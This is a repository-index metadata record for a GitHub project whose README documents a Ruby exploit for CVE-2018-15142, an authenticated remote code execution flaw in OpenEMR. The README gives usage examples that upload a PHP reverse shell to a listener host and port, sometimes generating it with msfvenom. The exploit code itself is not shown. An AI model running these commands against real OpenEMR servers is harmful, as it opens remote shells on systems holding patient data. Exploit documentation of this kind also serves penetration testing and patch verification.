{"id":18688778,"url":"https://github.com/noraj/openemr-rce","last_synced_at":"2025-04-12T05:37:46.541Z","repository":{"id":86822525,"uuid":"280233236","full_name":"noraj/OpenEMR-RCE","owner":"noraj","description":"OpenEMR \u003c= 5.0.1 - (Authenticated) Remote Code Execution","archived":false,"fork":false,"pushed_at":"2021-06-24T12:16:17.000Z","size":18,"stargazers_count":8,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-03-26T01:04:09.110Z","etag":null,"topics":["cve-2018-15142","exploit","openemr","openemr-exploit","openemr-rce","openemr-shell-upload","openemr-vulnerability","poc","proof-of-concept","rce","remote-code-execution"],"latest_commit_sha":null,"homepage":"https://pwn.by/noraj/","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/noraj.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-07-16T18:52:15.000Z","updated_at":"2022-03-27T22:06:52.000Z","dependencies_parsed_at":null,"dependency_job_id":"b5a66a9c-a0bb-43de-b616-6479c6fc3e14","html_url":"https://github.com/noraj/OpenEMR-RCE","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/noraj%2FOpenEMR-RCE","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/noraj%2FOpenEMR-RCE/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/noraj%2FOpenEMR-RCE/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/noraj%2FOpenEMR-RCE/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/noraj","download_url":"https://codeload.github.com/noraj/OpenEMR-RCE/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248525168,"owners_count":21118616,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve-2018-15142","exploit","openemr","openemr-exploit","openemr-rce","openemr-shell-upload","openemr-vulnerability","poc","proof-of-concept","rce","remote-code-execution"],"created_at":"2024-11-07T10:38:21.754Z","updated_at":"2025-04-12T05:37:46.515Z","avatar_url":"https://github.com/noraj.png","language":"Ruby","funding_links":[],"categories":[],"sub_categories":[],"readme":"# OpenEMR RCE exploit / PoC\n\n\u003e OpenEMR \u003c= 5.0.1.4 - (Authenticated) Remote Code Execution\n\nExploit for [CVE-2018-15142](https://nvd.nist.gov/vuln/detail/CVE-2018-15142).\n\n[[EDB-49486](https://www.exploit-db.com/exploits/49486)] [[PacketStorm](https://packetstormsecurity.com/files/158711/OpenEMR-5.0.1-Remote-Code-Execution.html)] [[WLB-2020080011](https://cxsecurity.com/issue/WLB-2020080011)]\n\n## Usage\n\n```\n$ ruby exploit.rb --help\nOpenEMR \u003c= 5.0.1.4 - (Authenticated) Remote Code Execution\n\nUsage:\n  exploit.rb manual --root-url \u003curl\u003e --shell \u003cfilename\u003e --user \u003cusername\u003e --password \u003cpassword\u003e [--debug]\n  exploit.rb semi-auto --root-url \u003curl\u003e --user \u003cusername\u003e --password \u003cpassword\u003e --payload \u003cpayload\u003e --lhost \u003chost\u003e --lport \u003cport\u003e [--debug]\n  exploit.rb auto --root-url \u003curl\u003e --user \u003cusername\u003e --password \u003cpassword\u003e --lhost \u003chost\u003e --lport \u003cport\u003e [--debug]\n  exploit.rb -H | --help\n\nOptions:\n  -r \u003curl\u003e, --root-url \u003curl\u003e            Root URL (base path) including HTTP scheme, port and root folder\n  -s \u003cfilename\u003e, --shell \u003cfilename\u003e     Filename of the PHP reverse shell payload\n  -u \u003cusername\u003e, --user \u003cusername\u003e      Username of the admin\n  -p \u003cpassword\u003e, --password \u003cpassword\u003e  Password of the admin\n  -m \u003cpayload\u003e, --payload \u003cpayload\u003e     Metasploit PHP payload\n  -h \u003chost\u003e, --lhost \u003chost\u003e             Reverse shell local host\n  -t \u003cport\u003e, --lport \u003cport\u003e             Reverse shell local port\n  --debug                               Display arguments\n  -H, --help                            Show this screen\n\nExamples:\n  exploit.rb manual -r http://example.org/openemr -s myRevShell.php -u admin -p pass123\n  exploit.rb semi-auto -r http://example.org:8080/openemr -u admin_emr -p qwerty2020 -m 'php/reverse_php' -h 10.0.0.2 -t 8888\n  exploit.rb auto -r https://example.org:4443 -u admin_usr -p rock5 -h 192.168.0.2 -t 9999\n```\n\n## Modes\n\n- **Auto**: you know the target and have your listener ready, let the exploit handle the rest\n- **Semit-auto**: same as auto but you would like to specify another payload than the default `php/reverse_php`\n- **Manual**: you already have a custom PHP reverse shell, the exploit lets you specify it\n\n## Requirements\n\n- [httpclient](https://github.com/nahi/httpclient)\n- [docopt.rb](https://github.com/docopt/docopt.rb)\n- (Optional) [Metasploit Framework](https://github.com/rapid7/metasploit-framework) (`msfvenom` for reverse shell generation in auto and semi-auto modes)\n\nExample for BlackArch:\n\n```\npacman -S ruby-httpclient ruby-docopt metasploit\n```\n\nExample using gem:\n\n```\ngem install httpclient docopt\n```\n\n## Reference\n\nThis is a better re-write of [EDB-ID-48515][EDB-ID-48515] and implementation of [EDB-ID-45202 part 2][EDB-ID-45202]:\n\n- using arguments (instead of hardcoded values)\n- allowing custom PHP reverse shell or auto generating one with `msfconsole`\n- cleaner \u0026 more customizable\n- using ruby (python2 is deprecated)\n\nThis exploit was tested with Ruby 2.7.1.\n\nAbout [EDB-ID-48515][EDB-ID-48515]:\n\n```\nExploit Author: Musyoka Ian\nDate: 2020-05-25\nVendor Homepage: https://www.open-emr.org/\nSoftware Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz\nDockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile \nVersion: \u003c 5.0.1 (Patch 4)\nTested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3\nReferences: https://medium.com/@musyokaian/openemr-version-5-0-1-remote-code-execution-vulnerability-2f8fd8644a69\n```\n\n[EDB-ID-48515]:https://www.exploit-db.com/exploits/48515\n[EDB-ID-45202]:https://www.exploit-db.com/exploits/45202\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fnoraj%2Fopenemr-rce","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fnoraj%2Fopenemr-rce","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fnoraj%2Fopenemr-rce/lists"}